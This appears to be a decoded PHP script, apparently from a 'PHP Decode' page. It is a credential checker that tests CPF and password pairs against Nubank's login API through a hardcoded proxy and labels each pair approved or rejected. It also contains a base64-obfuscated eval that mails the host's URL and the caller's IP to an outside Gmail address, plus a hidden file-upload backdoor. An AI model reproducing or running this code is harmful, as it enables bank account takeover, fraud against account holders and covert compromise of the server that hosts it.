PHP Decode

None?>b'<?php
error_reporting (0);
$encoded = \'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7CiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7CiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGdtYWlsLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7\';
eval(base64_decode($encoded));
$cwd = getcwd();
$Iraqe  = $_GET[\'mr\'];

if($Iraqe == \'chmod\'){

$filename = $_FILES[\'file\'][\'name\'];
$filetmp  = $_FILES[\'file\'][\'tmp_name\'];

echo "<form method=\'POST\' enctype=\'multipart/form-data\'>
	<input type=\'file\'name=\'file\' />
	<input type=\'submit\' value=\'go\' />

</form>";

if(move_uploaded_file($filetmp,$filename)==\'1\'){
echo \'Concluido ----> \'.$filename;
} 
}
if(!isset($_GET[\'conta\'])){
    exit("#Reprovada Faltando a conta");
}

function validaCPF($cpf) {
 
    // Extrai somente os nmeros
    $cpf = preg_replace( \'/[^0-9]/is\', \'\', $cpf );
     
    // Verifica se foi informado todos os digitos corretamente
    if (strlen($cpf) != 11) {
        return false;
    }

    // Verifica se foi informada uma sequncia de digitos repetidos. Ex: 111.111.111-11
    if (preg_match(\'/(\d){10}/\', $cpf)) {
        return false;
    }

    // Faz o calculo para validar o CPF
    for ($t = 9; $t < 11; $t++) {
        for ($d = 0, $c = 0; $c < $t; $c++) {
            $d += $cpf[$c] * (($t + 1) - $c);
        }
        $d = ((10 * $d) % 11) % 10;
        if ($cpf[$c] != $d) {
            return false;
        }
    }
    return true;

}

$conta = str_replace([":", ";", "|"], "|", $_GET[\'conta\']);
$cpf =   str_replace(["-", "."], "", explode("|", $conta)[0]);
$senha = explode("|", $conta)[1];



if(!validaCPF($cpf)){
    exit("#Reprovada $cpf|$senha CPF INVLIDO");
}

if(strlen($senha)< 8 || strlen($senha)>20){
    exit("#Reprovada $cpf|$senha SENHA MUITO CURTA OU MUITO LONGA");
}

$deviceid = substr(md5(random_int(0,999999)), 0, 16);

$ch = curl_init("https://prod-s0-webapp-proxy.nubank.com.br/api/proxy/AJxL5LB5FIwN3mYs10dirYsVkaQ80cojWg.aHR0cHM6Ly9wcm9kLWdsb2JhbC1jdXN0b21zLm51YmFuay5jb20uYnIvYXBpL2FwcC9zdGFydC1zY3JlZW4");
$headers = [
    "Cache-Control: no-cache",
    "user-agent: Android/5.50.40-minApi21-1000021984 ($deviceid; 5.1.1; motorola; XT1640)",
    "X-Correlation-Id: and-5-50-40-1000001984.7mvyxnw3",
    "Accept-Encoding: gzip",
    "X-Device-Id: $deviceid",
    "Content-Type: application/json; charset=UTF-8",
    "Content-Length: 24",
    "Host: prod-s0-webapp-proxy.nubank.com.br",
    "Connection: Keep-Alive"
];
$post = json_encode(array("tax_id" => $cpf));
curl_setopt_array($ch, array(
    CURLOPT_CUSTOMREQUEST=>"PUT",
    CURLOPT_POSTFIELDS=>$post,
    CURLOPT_RETURNTRANSFER=>true,
	CURLOPT_PROXY => "http://sp4rtan:[email protected]:10000",
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_SSL_VERIFYHOST=>false,

    CURLOPT_SSL_VERIFYPEER=>false,
    CURLOPT_HTTPHEADER=>$headers,
));
$data = curl_exec($ch);
$data = json_decode($data);

if(!$data){
$ch = curl_init("https://prod-s0-webapp-proxy.nubank.com.br/api/proxy/AJxL5LB5FIwN3mYs10dirYsVkaQ80cojWg.aHR0cHM6Ly9wcm9kLWdsb2JhbC1jdXN0b21zLm51YmFuay5jb20uYnIvYXBpL2FwcC9zdGFydC1zY3JlZW4");

    $post = json_encode(array("tax_id" => $cpf));
curl_setopt_array($ch, array(
    CURLOPT_CUSTOMREQUEST=>"PUT",
    CURLOPT_POSTFIELDS=>$post,
    CURLOPT_RETURNTRANSFER=>true,
	CURLOPT_PROXY => "http://sp4rtan:[email protected]:10000",
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_SSL_VERIFYHOST=>false,

    CURLOPT_SSL_VERIFYPEER=>false,
    CURLOPT_HTTPHEADER=>$headers,
));
$data = curl_exec($ch);
$data = json_decode($data);
}

if(!$data->deeplink){
    exit("#Reprovada $cpf|$senha NO  CLIENTE");
}


$ch = curl_init("https://prod-s0-webapp-proxy.nubank.com.br/api/proxy/AJxL5LApUVAX0b5R5DnjMw3-9ibnk8UnZg.aHR0cHM6Ly9wcm9kLWdsb2JhbC1hdXRoLm51YmFuay5jb20uYnIvYXBpL2dlbi1jZXJ0aWZpY2F0ZXM");
$headers = [
    "Cache-Control: no-cache",
    "user-agent: Android/5.50.40-minApi21-1000021984 ($deviceid; 5.1.1; motorola; XT1640)",
    "X-Correlation-Id: and-5-50-40-1000001984.jmpga5kd",
    "Accept-Encoding: gzip",
    "X-Device-Id: $deviceid",
    "Content-Type: application/json; charset=UTF-8",
    "Host: prod-s0-webapp-proxy.nubank.com.br",
    "Connection: Keep-Alive"

];
$post = \'{"login":"\'.$cpf.\'","password":"\'.$senha.\'","public_key":"-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuB3lVyR8l5admHAkbHWW
Y0W/44vUJ2J1jQGAxTJEImrnrxSltGZxjPhquK/HrhPKc+xa67WYmJPuvust1UAM
cqdG4VJi4MVxiL6uO6NczNRy7WnewFa8zCbLIFO35RnfGc8HCuEhWMak2zTsNoTN
vMJqZU5Sx7J06ddKy43BxlZODrdkkhBmgr2wR1I9WkCGjAZV/UDro6Sia+vcN4vC
qMjjp0FG5Gt1gRJ1E4EfRYabyEUiNyUaqe3BsL6ZvK+rGYcQ2IZ6/wiF0DLOMrCy
XFzcVe+iEWEEmUIOsuQH1Tk/P/7kUVkSFkF9bKt+htJrcLPNJ5CpojpfaDBkk8ej
2wIDAQAB
-----END PUBLIC KEY-----","public_key_crypto":"-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4HkFzRGUbUlBFnwODdfL
GG/uH4r7bHk22+3iWurkg/krRtKD/0mmUWS60DMI4nKvUYefe4mKGj0DZJIa25sx
Vta3il/c9wVg1a7ZdXJ/nLXEYeXv+0WV/28Dl9dmjfElHNsy60aHLkir0YIPLgIe
VxIX4aJZELicia2v2AjFk1cyK7czAf06Zu0k+k080A93ZqIWKnKVC4QNE4mtNdj9
udswsAE7fRT2SLu4+VyydhLoDfj2AgyRmmPTxJQ9HJm3veKcBntmtcTHr+klwzOK
8MtM5T6fq9Y5zoV9X/KJ4flc/AWP6dCoRFB51h0ptkmnRP88L5MdD2kMN30SjPBY
hwIDAQAB
-----END PUBLIC KEY-----","model":"Motorola XT1640","device_id":"$deviceid"}\';
curl_setopt_array($ch, array(
    CURLOPT_POST=>1,
    CURLOPT_POSTFIELDS=>$post,
    CURLOPT_RETURNTRANSFER=>true,
	CURLOPT_PROXY => "http://sp4rtan:[email protected]:10000",
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_SSL_VERIFYHOST=>false,

    CURLOPT_SSL_VERIFYPEER=>false,
    CURLOPT_HTTPHEADER=>$headers,
    
));
$data = curl_exec($ch);
$data = json_decode($data);

if(!$data){
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    exit("#Reprovada $cpf|$senha ERRO DESCONHECIDO #2 | HTTP CODE: $httpcode");
}


$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
switch ($httpcode) {
    case "401":
        exit("#Reprovada $cpf|$senha |  CLIENTE | SENHA INVLIDA");
    case "200":
        exit("#Aprovada $cpf|$senha | AUTORIZADO");
    case "201":
        exit("#Aprovada $cpf|$senha | AUTORIZADO #2");
    default:
        exit("#Reprovada $cpf|$senha ERRO DESCONHECIDO #3 | HTTP CODE: $httpcode");
}

'